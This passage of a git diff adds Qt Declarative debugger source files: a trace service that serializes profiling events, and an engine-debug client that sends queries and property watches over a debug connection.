+#define QDECLARATIVEDEBUGSERVICE_P_H
+
+#include <QtCore/qglobal.h>
+#include <private/qobject_p.h>
+
+QT_BEGIN_HEADER
+
+QT_BEGIN_NAMESPACE
+
+QT_MODULE(Declarative)
+
+class QDeclarativeDebugServer;
+
+class QDeclarativeDebugServicePrivate : public QObjectPrivate
+{
+ Q_DECLARE_PUBLIC(QDeclarativeDebugService)
+public:
+ QDeclarativeDebugServicePrivate();
+
+ QString name;
+ QDeclarativeDebugServer *server;
+ QDeclarativeDebugService::Status status;
+};
+
+QT_END_NAMESPACE
+
+QT_END_HEADER
+
+#endif // QDECLARATIVEDEBUGSERVICE_P_H
diff --git a/src/declarative/debugger/qdeclarativedebugtrace.cpp b/src/declarative/debugger/qdeclarativedebugtrace.cpp
new file mode 100644
index 00000000..16e6dfb1
--- /dev/null
+++ b/src/declarative/debugger/qdeclarativedebugtrace.cpp
@@ -0,0 +1,225 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "qdeclarativedebugtrace_p.h"
+
+#include <QtCore/qdatastream.h>
+#include <QtCore/qurl.h>
+#include <QtCore/qtimer.h>
+
+Q_GLOBAL_STATIC(QDeclarativeDebugTrace, traceInstance);
+
+// convert to a QByteArray that can be sent to the debug client
+// use of QDataStream can skew results if m_deferredSend == false
+// (see tst_qperformancetimer::trace() benchmark)
+QByteArray QDeclarativeDebugData::toByteArray() const
+{
+ QByteArray data;
+ //### using QDataStream is relatively expensive
+ QDataStream ds(&data, QIODevice::WriteOnly);
+ ds << time << messageType << detailType;
+ if (messageType == (int)QDeclarativeDebugTrace::RangeData)
+ ds << detailData;
+ if (messageType == (int)QDeclarativeDebugTrace::RangeLocation)
+ ds << detailData << line;
+ return data;
+}
+
+QDeclarativeDebugTrace::QDeclarativeDebugTrace()
+: QDeclarativeDebugService(QLatin1String("CanvasFrameRate")),
+ m_enabled(false), m_deferredSend(true), m_messageReceived(false)
+{
+ m_timer.start();
+ if (status() == Enabled) {
+ // wait for first message indicating whether to trace or not
+ while (!m_messageReceived)
+ waitForMessage();
+ }
+}
+
+void QDeclarativeDebugTrace::addEvent(EventType t)
+{
+ if (QDeclarativeDebugService::isDebuggingEnabled())
+ traceInstance()->addEventImpl(t);
+}
+
+void QDeclarativeDebugTrace::startRange(RangeType t)
+{
+ if (QDeclarativeDebugService::isDebuggingEnabled())
+ traceInstance()->startRangeImpl(t);
+}
+
+void QDeclarativeDebugTrace::rangeData(RangeType t, const QString &data)
+{
+ if (QDeclarativeDebugService::isDebuggingEnabled())
+ traceInstance()->rangeDataImpl(t, data);
+}
+
+void QDeclarativeDebugTrace::rangeData(RangeType t, const QUrl &data)
+{
+ if (QDeclarativeDebugService::isDebuggingEnabled())
+ traceInstance()->rangeDataImpl(t, data);
+}
+
+void QDeclarativeDebugTrace::rangeLocation(RangeType t, const QString &fileName, int line)
+{
+ if (QDeclarativeDebugService::isDebuggingEnabled())
+ traceInstance()->rangeLocationImpl(t, fileName, line);
+}
+
+void QDeclarativeDebugTrace::rangeLocation(RangeType t, const QUrl &fileName, int line)
+{
+ if (QDeclarativeDebugService::isDebuggingEnabled())
+ traceInstance()->rangeLocationImpl(t, fileName, line);
+}
+
+void QDeclarativeDebugTrace::endRange(RangeType t)
+{
+ if (QDeclarativeDebugService::isDebuggingEnabled())
+ traceInstance()->endRangeImpl(t);
+}
+
+void QDeclarativeDebugTrace::addEventImpl(EventType event)
+{
+ if (status() != Enabled || !m_enabled)
+ return;
+
+ QDeclarativeDebugData ed = {m_timer.elapsed(), (int)Event, (int)event, QString(), -1};
+ processMessage(ed);
+}
+
+void QDeclarativeDebugTrace::startRangeImpl(RangeType range)
+{
+ if (status() != Enabled || !m_enabled)
+ return;
+
+ QDeclarativeDebugData rd = {m_timer.elapsed(), (int)RangeStart, (int)range, QString(), -1};
+ processMessage(rd);
+}
+
+void QDeclarativeDebugTrace::rangeDataImpl(RangeType range, const QString &rData)
+{
+ if (status() != Enabled || !m_enabled)
+ return;
+
+ QDeclarativeDebugData rd = {m_timer.elapsed(), (int)RangeData, (int)range, rData, -1};
+ processMessage(rd);
+}
+
+void QDeclarativeDebugTrace::rangeDataImpl(RangeType range, const QUrl &rData)
+{
+ if (status() != Enabled || !m_enabled)
+ return;
+
+ QDeclarativeDebugData rd = {m_timer.elapsed(), (int)RangeData, (int)range, rData.toString(QUrl::FormattingOption(0x100)), -1};
+ processMessage(rd);
+}
+
+void QDeclarativeDebugTrace::rangeLocationImpl(RangeType range, const QString &fileName, int line)
+{
+ if (status() != Enabled || !m_enabled)
+ return;
+
+ QDeclarativeDebugData rd = {m_timer.elapsed(), (int)RangeLocation, (int)range, fileName, line};
+ processMessage(rd);
+}
+
+void QDeclarativeDebugTrace::rangeLocationImpl(RangeType range, const QUrl &fileName, int line)
+{
+ if (status() != Enabled || !m_enabled)
+ return;
+
+ QDeclarativeDebugData rd = {m_timer.elapsed(), (int)RangeLocation, (int)range, fileName.toString(QUrl::FormattingOption(0x100)), line};
+ processMessage(rd);
+}
+
+void QDeclarativeDebugTrace::endRangeImpl(RangeType range)
+{
+ if (status() != Enabled || !m_enabled)
+ return;
+
+ QDeclarativeDebugData rd = {m_timer.elapsed(), (int)RangeEnd, (int)range, QString(), -1};
+ processMessage(rd);
+}
+
+/*
+ Either send the message directly, or queue up
+ a list of messages to send later (via sendMessages)
+*/
+void QDeclarativeDebugTrace::processMessage(const QDeclarativeDebugData &message)
+{
+ if (m_deferredSend)
+ m_data.append(message);
+ else
+ sendMessage(message.toByteArray());
+}
+
+/*
+ Send the messages queued up by processMessage
+*/
+void QDeclarativeDebugTrace::sendMessages()
+{
+ if (m_deferredSend) {
+ //### this is a suboptimal way to send batched messages
+ for (int i = 0; i < m_data.count(); ++i)
+ sendMessage(m_data.at(i).toByteArray());
+ m_data.clear();
+
+ //indicate completion
+ QByteArray data;
+ QDataStream ds(&data, QIODevice::WriteOnly);
+ ds << (qint64)-1 << (int)Complete;
+ sendMessage(data);
+ }
+}
+
+void QDeclarativeDebugTrace::messageReceived(const QByteArray &message)
+{
+ QByteArray rwData = message;
+ QDataStream stream(&rwData, QIODevice::ReadOnly);
+
+ stream >> m_enabled;
+
+ m_messageReceived = true;
+
+ if (!m_enabled)
+ sendMessages();
+}
diff --git a/src/declarative/debugger/qdeclarativedebugtrace_p.h b/src/declarative/debugger/qdeclarativedebugtrace_p.h
new file mode 100644
index 00000000..3cd73b07
--- /dev/null
+++ b/src/declarative/debugger/qdeclarativedebugtrace_p.h
@@ -0,0 +1,132 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QDECLARATIVEDEBUGTRACE_P_H
+#define QDECLARATIVEDEBUGTRACE_P_H
+
+#include <private/qdeclarativedebugservice_p.h>
+#include <private/qperformancetimer_p.h>
+
+QT_BEGIN_HEADER
+
+QT_BEGIN_NAMESPACE
+
+struct QDeclarativeDebugData
+{
+ qint64 time;
+ int messageType;
+ int detailType;
+
+ //###
+ QString detailData; //used by RangeData and RangeLocation
+ int line; //used by RangeLocation
+
+ QByteArray toByteArray() const;
+};
+
+class QUrl;
+class Q_AUTOTEST_EXPORT QDeclarativeDebugTrace : public QDeclarativeDebugService
+{
+public:
+ enum Message {
+ Event,
+ RangeStart,
+ RangeData,
+ RangeLocation,
+ RangeEnd,
+ Complete,
+
+ MaximumMessage
+ };
+
+ enum EventType {
+ FramePaint,
+ Mouse,
+ Key,
+
+ MaximumEventType
+ };
+
+ enum RangeType {
+ Painting,
+ Compiling,
+ Creating,
+ Binding, //running a binding
+ HandlingSignal, //running a signal handler
+
+ MaximumRangeType
+ };
+
+ static void addEvent(EventType);
+
+ static void startRange(RangeType);
+ static void rangeData(RangeType, const QString &);
+ static void rangeData(RangeType, const QUrl &);
+ static void rangeLocation(RangeType, const QString &, int);
+ static void rangeLocation(RangeType, const QUrl &, int);
+ static void endRange(RangeType);
+
+ QDeclarativeDebugTrace();
+protected:
+ virtual void messageReceived(const QByteArray &);
+private:
+ void addEventImpl(EventType);
+ void startRangeImpl(RangeType);
+ void rangeDataImpl(RangeType, const QString &);
+ void rangeDataImpl(RangeType, const QUrl &);
+ void rangeLocationImpl(RangeType, const QString &, int);
+ void rangeLocationImpl(RangeType, const QUrl &, int);
+ void endRangeImpl(RangeType);
+ void processMessage(const QDeclarativeDebugData &);
+ void sendMessages();
+ QPerformanceTimer m_timer;
+ bool m_enabled;
+ bool m_deferredSend;
+ bool m_messageReceived;
+ QList<QDeclarativeDebugData> m_data;
+};
+
+QT_END_NAMESPACE
+
+QT_END_HEADER
+
+#endif // QDECLARATIVEDEBUGTRACE_P_H
+
diff --git a/src/declarative/debugger/qdeclarativeenginedebug.cpp b/src/declarative/debugger/qdeclarativeenginedebug.cpp
new file mode 100644
index 00000000..74316574
--- /dev/null
+++ b/src/declarative/debugger/qdeclarativeenginedebug.cpp
@@ -0,0 +1,1068 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "private/qdeclarativeenginedebug_p.h"
+
+#include "private/qdeclarativedebugclient_p.h"
+
+#include <qdeclarativeenginedebugservice_p.h>
+
+#include <private/qobject_p.h>
+
+QT_BEGIN_NAMESPACE
+
+class QDeclarativeEngineDebugClient : public QDeclarativeDebugClient
+{
+public:
+ QDeclarativeEngineDebugClient(QDeclarativeDebugConnection *client, QDeclarativeEngineDebugPrivate *p);
+
+protected:
+ virtual void statusChanged(Status status);
+ virtual void messageReceived(const QByteArray &);
+
+private:
+ QDeclarativeEngineDebugPrivate *priv;
+ friend class QDeclarativeEngineDebugPrivate;
+};
+
+class QDeclarativeEngineDebugPrivate : public QObjectPrivate
+{
+ Q_DECLARE_PUBLIC(QDeclarativeEngineDebug)
+public:
+ QDeclarativeEngineDebugPrivate(QDeclarativeDebugConnection *);
+ ~QDeclarativeEngineDebugPrivate();
+
+ void statusChanged(QDeclarativeEngineDebug::Status status);
+ void message(const QByteArray &);
+
+ QDeclarativeEngineDebugClient *client;
+ int nextId;
+ int getId();
+
+ void decode(QDataStream &, QDeclarativeDebugContextReference &);
+ void decode(QDataStream &, QDeclarativeDebugObjectReference &, bool simple);
+
+ static void remove(QDeclarativeEngineDebug *, QDeclarativeDebugEnginesQuery *);
+ static void remove(QDeclarativeEngineDebug *, QDeclarativeDebugRootContextQuery *);
+ static void remove(QDeclarativeEngineDebug *, QDeclarativeDebugObjectQuery *);
+ static void remove(QDeclarativeEngineDebug *, QDeclarativeDebugExpressionQuery *);
+ static void remove(QDeclarativeEngineDebug *, QDeclarativeDebugWatch *);
+
+ QHash<int, QDeclarativeDebugEnginesQuery *> enginesQuery;
+ QHash<int, QDeclarativeDebugRootContextQuery *> rootContextQuery;
+ QHash<int, QDeclarativeDebugObjectQuery *> objectQuery;
+ QHash<int, QDeclarativeDebugExpressionQuery *> expressionQuery;
+
+ QHash<int, QDeclarativeDebugWatch *> watched;
+};
+
+QDeclarativeEngineDebugClient::QDeclarativeEngineDebugClient(QDeclarativeDebugConnection *client,
+ QDeclarativeEngineDebugPrivate *p)
+: QDeclarativeDebugClient(QLatin1String("QDeclarativeEngine"), client), priv(p)
+{
+}
+
+void QDeclarativeEngineDebugClient::statusChanged(Status status)
+{
+ if (priv)
+ priv->statusChanged(static_cast<QDeclarativeEngineDebug::Status>(status));
+}
+
+void QDeclarativeEngineDebugClient::messageReceived(const QByteArray &data)
+{
+ if (priv)
+ priv->message(data);
+}
+
+QDeclarativeEngineDebugPrivate::QDeclarativeEngineDebugPrivate(QDeclarativeDebugConnection *c)
+: client(new QDeclarativeEngineDebugClient(c, this)), nextId(0)
+{
+}
+
+QDeclarativeEngineDebugPrivate::~QDeclarativeEngineDebugPrivate()
+{
+ if (client)
+ client->priv = 0;
+ delete client;
+
+ QHash<int, QDeclarativeDebugEnginesQuery*>::iterator enginesIter = enginesQuery.begin();
+ for (; enginesIter != enginesQuery.end(); ++enginesIter) {
+ enginesIter.value()->m_client = 0;
+ if (enginesIter.value()->state() == QDeclarativeDebugQuery::Waiting)
+ enginesIter.value()->setState(QDeclarativeDebugQuery::Error);
+ }
+
+ QHash<int, QDeclarativeDebugRootContextQuery*>::iterator rootContextIter = rootContextQuery.begin();
+ for (; rootContextIter != rootContextQuery.end(); ++rootContextIter) {
+ rootContextIter.value()->m_client = 0;
+ if (rootContextIter.value()->state() == QDeclarativeDebugQuery::Waiting)
+ rootContextIter.value()->setState(QDeclarativeDebugQuery::Error);
+ }
+
+ QHash<int, QDeclarativeDebugObjectQuery*>::iterator objectIter = objectQuery.begin();
+ for (; objectIter != objectQuery.end(); ++objectIter) {
+ objectIter.value()->m_client = 0;
+ if (objectIter.value()->state() == QDeclarativeDebugQuery::Waiting)
+ objectIter.value()->setState(QDeclarativeDebugQuery::Error);
+ }
+
+ QHash<int, QDeclarativeDebugExpressionQuery*>::iterator exprIter = expressionQuery.begin();
+ for (; exprIter != expressionQuery.end(); ++exprIter) {
+ exprIter.value()->m_client = 0;
+ if (exprIter.value()->state() == QDeclarativeDebugQuery::Waiting)
+ exprIter.value()->setState(QDeclarativeDebugQuery::Error);
+ }
+
+ QHash<int, QDeclarativeDebugWatch*>::iterator watchIter = watched.begin();
+ for (; watchIter != watched.end(); ++watchIter) {
+ watchIter.value()->m_client = 0;
+ watchIter.value()->setState(QDeclarativeDebugWatch::Dead);
+ }
+}
+
+int QDeclarativeEngineDebugPrivate::getId()
+{
+ return nextId++;
+}
+
+void QDeclarativeEngineDebugPrivate::remove(QDeclarativeEngineDebug *c, QDeclarativeDebugEnginesQuery *q)
+{
+ if (c && q) {
+ QDeclarativeEngineDebugPrivate *p = (QDeclarativeEngineDebugPrivate *)QObjectPrivate::get(c);
+ p->enginesQuery.remove(q->m_queryId);
+ }
+}
+
+void QDeclarativeEngineDebugPrivate::remove(QDeclarativeEngineDebug *c,
+ QDeclarativeDebugRootContextQuery *q)
+{
+ if (c && q) {
+ QDeclarativeEngineDebugPrivate *p = (QDeclarativeEngineDebugPrivate *)QObjectPrivate::get(c);
+ p->rootContextQuery.remove(q->m_queryId);
+ }
+}
+
+void QDeclarativeEngineDebugPrivate::remove(QDeclarativeEngineDebug *c, QDeclarativeDebugObjectQuery *q)
+{
+ if (c && q) {
+ QDeclarativeEngineDebugPrivate *p = (QDeclarativeEngineDebugPrivate *)QObjectPrivate::get(c);
+ p->objectQuery.remove(q->m_queryId);
+ }
+}
+
+void QDeclarativeEngineDebugPrivate::remove(QDeclarativeEngineDebug *c, QDeclarativeDebugExpressionQuery *q)
+{
+ if (c && q) {
+ QDeclarativeEngineDebugPrivate *p = (QDeclarativeEngineDebugPrivate *)QObjectPrivate::get(c);
+ p->expressionQuery.remove(q->m_queryId);
+ }
+}
+
+void QDeclarativeEngineDebugPrivate::remove(QDeclarativeEngineDebug *c, QDeclarativeDebugWatch *w)
+{
+ if (c && w) {
+ QDeclarativeEngineDebugPrivate *p = (QDeclarativeEngineDebugPrivate *)QObjectPrivate::get(c);
+ p->watched.remove(w->m_queryId);
+ }
+}
+
+void QDeclarativeEngineDebugPrivate::decode(QDataStream &ds, QDeclarativeDebugObjectReference &o,
+ bool simple)
+{
+ QDeclarativeEngineDebugService::QDeclarativeObjectData data;
+ ds >> data;
+ o.m_debugId = data.objectId;
+ o.m_class = data.objectType;
+ o.m_idString = data.idString;
+ o.m_name = data.objectName;
+ o.m_source.m_url = data.url;
+ o.m_source.m_lineNumber = data.lineNumber;
+ o.m_source.m_columnNumber = data.columnNumber;
+ o.m_contextDebugId = data.contextId;
+
+ if (simple)
+ return;
+
+ int childCount;
+ bool recur;
+ ds >> childCount >> recur;
+
+ for (int ii = 0; ii < childCount; ++ii) {
+ o.m_children.append(QDeclarativeDebugObjectReference());
+ decode(ds, o.m_children.last(), !recur);
+ }
+
+ int propCount;
+ ds >> propCount;
+
+ for (int ii = 0; ii < propCount; ++ii) {
+ QDeclarativeEngineDebugService::QDeclarativeObjectProperty data;
+ ds >> data;
+ QDeclarativeDebugPropertyReference prop;
+ prop.m_objectDebugId = o.m_debugId;
+ prop.m_name = data.name;
+ prop.m_binding = data.binding;
+ prop.m_hasNotifySignal = data.hasNotifySignal;
+ prop.m_valueTypeName = data.valueTypeName;
+ switch (data.type) {
+ case QDeclarativeEngineDebugService::QDeclarativeObjectProperty::Basic:
+ case QDeclarativeEngineDebugService::QDeclarativeObjectProperty::List:
+ case QDeclarativeEngineDebugService::QDeclarativeObjectProperty::SignalProperty:
+ {
+ prop.m_value = data.value;
+ break;
+ }
+ case QDeclarativeEngineDebugService::QDeclarativeObjectProperty::Object:
+ {
+ QDeclarativeDebugObjectReference obj;
+ obj.m_debugId = prop.m_value.toInt();
+ prop.m_value = QVariant::fromValue(obj);
+ break;
+ }
+ case QDeclarativeEngineDebugService::QDeclarativeObjectProperty::Unknown:
+ break;
+ }
+ o.m_properties << prop;
+ }
+}
+
+void QDeclarativeEngineDebugPrivate::decode(QDataStream &ds, QDeclarativeDebugContextReference &c)
+{
+ ds >> c.m_name >> c.m_debugId;
+
+ int contextCount;
+ ds >> contextCount;
+
+ for (int ii = 0; ii < contextCount; ++ii) {
+ c.m_contexts.append(QDeclarativeDebugContextReference());
+ decode(ds, c.m_contexts.last());
+ }
+
+ int objectCount;
+ ds >> objectCount;
+
+ for (int ii = 0; ii < objectCount; ++ii) {
+ QDeclarativeDebugObjectReference obj;
+ decode(ds, obj, true);
+
+ obj.m_contextDebugId = c.m_debugId;
+ c.m_objects << obj;
+ }
+}
+
+void QDeclarativeEngineDebugPrivate::statusChanged(QDeclarativeEngineDebug::Status status)
+{
+ emit q_func()->statusChanged(status);
+}
+
+void QDeclarativeEngineDebugPrivate::message(const QByteArray &data)
+{
+ QDataStream ds(data);
+
+ QByteArray type;
+ ds >> type;
+
+ //qDebug() << "QDeclarativeEngineDebugPrivate::message()" << type;
+
+ if (type == "LIST_ENGINES_R") {
+ int queryId;
+ ds >> queryId;
+
+ QDeclarativeDebugEnginesQuery *query = enginesQuery.value(queryId);
+ if (!query)
+ return;
+ enginesQuery.remove(queryId);
+
+ int count;
+ ds >> count;
+
+ for (int ii = 0; ii < count; ++ii) {
+ QDeclarativeDebugEngineReference ref;
+ ds >> ref.m_name;
+ ds >> ref.m_debugId;
+ query->m_engines << ref;
+ }
+
+ query->m_client = 0;
+ query->setState(QDeclarativeDebugQuery::Completed);
+ } else if (type == "LIST_OBJECTS_R") {
+ int queryId;
+ ds >> queryId;
+
+ QDeclarativeDebugRootContextQuery *query = rootContextQuery.value(queryId);
+ if (!query)
+ return;
+ rootContextQuery.remove(queryId);
+
+ if (!ds.atEnd())
+ decode(ds, query->m_context);
+
+ query->m_client = 0;
+ query->setState(QDeclarativeDebugQuery::Completed);
+ } else if (type == "FETCH_OBJECT_R") {
+ int queryId;
+ ds >> queryId;
+
+ QDeclarativeDebugObjectQuery *query = objectQuery.value(queryId);
+ if (!query)
+ return;
+ objectQuery.remove(queryId);
+
+ if (!ds.atEnd())
+ decode(ds, query->m_object, false);
+
+ query->m_client = 0;
+ query->setState(QDeclarativeDebugQuery::Completed);
+ } else if (type == "EVAL_EXPRESSION_R") {
+ int queryId;
+ QVariant result;
+ ds >> queryId >> result;
+
+ QDeclarativeDebugExpressionQuery *query = expressionQuery.value(queryId);
+ if (!query)
+ return;
+ expressionQuery.remove(queryId);
+
+ query->m_result = result;
+ query->m_client = 0;
+ query->setState(QDeclarativeDebugQuery::Completed);
+ } else if (type == "WATCH_PROPERTY_R") {
+ int queryId;
+ bool ok;
+ ds >> queryId >> ok;
+
+ QDeclarativeDebugWatch *watch = watched.value(queryId);
+ if (!watch)
+ return;
+
+ watch->setState(ok ? QDeclarativeDebugWatch::Active : QDeclarativeDebugWatch::Inactive);
+ } else if (type == "WATCH_OBJECT_R") {
+ int queryId;
+ bool ok;
+ ds >> queryId >> ok;
+
+ QDeclarativeDebugWatch *watch = watched.value(queryId);
+ if (!watch)
+ return;
+
+ watch->setState(ok ? QDeclarativeDebugWatch::Active : QDeclarativeDebugWatch::Inactive);
+ } else if (type == "WATCH_EXPR_OBJECT_R") {
+ int queryId;
+ bool ok;
+ ds >> queryId >> ok;
+
+ QDeclarativeDebugWatch *watch = watched.value(queryId);
+ if (!watch)
+ return;
+
+ watch->setState(ok ? QDeclarativeDebugWatch::Active : QDeclarativeDebugWatch::Inactive);
+ } else if (type == "UPDATE_WATCH") {
+ int queryId;
+ int debugId;
+ QByteArray name;
+ QVariant value;
+ ds >> queryId >> debugId >> name >> value;
+
+ QDeclarativeDebugWatch *watch = watched.value(queryId, 0);
+ if (!watch)
+ return;
+ emit watch->valueChanged(name, value);
+ } else if (type == "OBJECT_CREATED") {
+ emit q_func()->newObjects();
+ }
+}
+
+QDeclarativeEngineDebug::QDeclarativeEngineDebug(QDeclarativeDebugConnection *client, QObject *parent)
+: QObject(*(new QDeclarativeEngineDebugPrivate(client)), parent)
+{
+}
+
+QDeclarativeEngineDebug::Status QDeclarativeEngineDebug::status() const
+{
+ Q_D(const QDeclarativeEngineDebug);
+
+ return static_cast<QDeclarativeEngineDebug::Status>(d->client->status());
+}
+
+QDeclarativeDebugPropertyWatch *QDeclarativeEngineDebug::addWatch(const QDeclarativeDebugPropertyReference &property, QObject *parent)
+{
+ Q_D(QDeclarativeEngineDebug);
+
+ QDeclarativeDebugPropertyWatch *watch = new QDeclarativeDebugPropertyWatch(parent);
+ if (d->client->status() == QDeclarativeDebugClient::Enabled) {
+ int queryId = d->getId();
+ watch->m_queryId = queryId;
+ watch->m_client = this;
+ watch->m_objectDebugId = property.objectDebugId();
+ watch->m_name = property.name();
+ d->watched.insert(queryId, watch);
+
+ QByteArray message;
+ QDataStream ds(&message, QIODevice::WriteOnly);
+ ds << QByteArray("WATCH_PROPERTY") << queryId << property.objectDebugId() << property.name().toUtf8();
+ d->client->sendMessage(message);
+ } else {
+ watch->m_state = QDeclarativeDebugWatch::Dead;
+ }
+
+ return watch;
+}
+
+QDeclarativeDebugWatch *QDeclarativeEngineDebug::addWatch(const QDeclarativeDebugContextReference &, const QString &, QObject *)
+{
+ qWarning("QDeclarativeEngineDebug::addWatch(): Not implemented");
+ return 0;
+}
+
+QDeclarativeDebugObjectExpressionWatch *QDeclarativeEngineDebug::addWatch(const QDeclarativeDebugObjectReference &object, const QString &expr, QObject *parent)
+{
+ Q_D(QDeclarativeEngineDebug);
+ QDeclarativeDebugObjectExpressionWatch *watch = new QDeclarativeDebugObjectExpressionWatch(parent);
+ if (d->client->status() == QDeclarativeDebugClient::Enabled) {
+ int queryId = d->getId();
+ watch->m_queryId = queryId;
+ watch->m_client = this;
+ watch->m_objectDebugId = object.debugId();
+ watch->m_expr = expr;
+ d->watched.insert(queryId, watch);
+
+ QByteArray message;
+ QDataStream ds(&message, QIODevice::WriteOnly);
+ ds << QByteArray("WATCH_EXPR_OBJECT") << queryId << object.debugId() << expr;
+ d->client->sendMessage(message);
+ } else {
+ watch->m_state = QDeclarativeDebugWatch::Dead;
+ }
+ return watch;
+}
+
+QDeclarativeDebugWatch *QDeclarativeEngineDebug::addWatch(const QDeclarativeDebugObjectReference &object, QObject *parent)
+{
+ Q_D(QDeclarativeEngineDebug);
+
+ QDeclarativeDebugWatch *watch = new QDeclarativeDebugWatch(parent);
+ if (d->client->status() == QDeclarativeDebugClient::Enabled) {
+ int queryId = d->getId();
+ watch->m_queryId = queryId;
+ watch->m_client = this;
+ watch->m_objectDebugId = object.debugId();
+ d->watched.insert(queryId, watch);
+
+ QByteArray message;
+ QDataStream ds(&message, QIODevice::WriteOnly);
+ ds << QByteArray("WATCH_OBJECT") << queryId << object.debugId();
+ d->client->sendMessage(message);
+ } else {
+ watch->m_state = QDeclarativeDebugWatch::Dead;
+ }
+
+ return watch;
+}
+
+QDeclarativeDebugWatch *QDeclarativeEngineDebug::addWatch(const QDeclarativeDebugFileReference &, QObject *)
+{
+ qWarning("QDeclarativeEngineDebug::addWatch(): Not implemented");
+ return 0;
+}
+
+void QDeclarativeEngineDebug::removeWatch(QDeclarativeDebugWatch *watch)
+{
+ Q_D(QDeclarativeEngineDebug);
+
+ if (!watch || !watch->m_client)
+ return;
+
+ watch->m_client = 0;
+ watch->setState(QDeclarativeDebugWatch::Inactive);
+
+ d->watched.remove(watch->queryId());
+
+ if (d->client && d->client->status() == QDeclarativeDebugClient::Enabled) {
+ QByteArray message;
+ QDataStream ds(&message, QIODevice::WriteOnly);
+ ds << QByteArray("NO_WATCH") << watch->queryId();
+ d->client->sendMessage(message);
+ }
+}
+
+QDeclarativeDebugEnginesQuery *QDeclarativeEngineDebug::queryAvailableEngines(QObject *parent)
+{
+ Q_D(QDeclarativeEngineDebug);
+
+ QDeclarativeDebugEnginesQuery *query = new QDeclarativeDebugEnginesQuery(parent);
+ if (d->client->status() == QDeclarativeDebugClient::Enabled) {
+ query->m_client = this;
+ int queryId = d->getId();
+ query->m_queryId = queryId;
+ d->enginesQuery.insert(queryId, query);
+
+ QByteArray message;
+ QDataStream ds(&message, QIODevice::WriteOnly);
+ ds << QByteArray("LIST_ENGINES") << queryId;
+ d->client->sendMessage(message);
+ } else {
+ query->m_state = QDeclarativeDebugQuery::Error;
+ }
+
+ return query;
+}
+
+QDeclarativeDebugRootContextQuery *QDeclarativeEngineDebug::queryRootContexts(const QDeclarativeDebugEngineReference &engine, QObject *parent)
+{
+ Q_D(QDeclarativeEngineDebug);
+
+ QDeclarativeDebugRootContextQuery *query = new QDeclarativeDebugRootContextQuery(parent);
+ if (d->client->status() == QDeclarativeDebugClient::Enabled && engine.debugId() != -1) {
+ query->m_client = this;
+ int queryId = d->getId();
+ query->m_queryId = queryId;
+ d->rootContextQuery.insert(queryId, query);
+
+ QByteArray message;
+ QDataStream ds(&message, QIODevice::WriteOnly);
+ ds << QByteArray("LIST_OBJECTS") << queryId << engine.debugId();
+ d->client->sendMessage(message);
+ } else {
+ query->m_state = QDeclarativeDebugQuery::Error;
+ }
+
+ return query;
+}
+
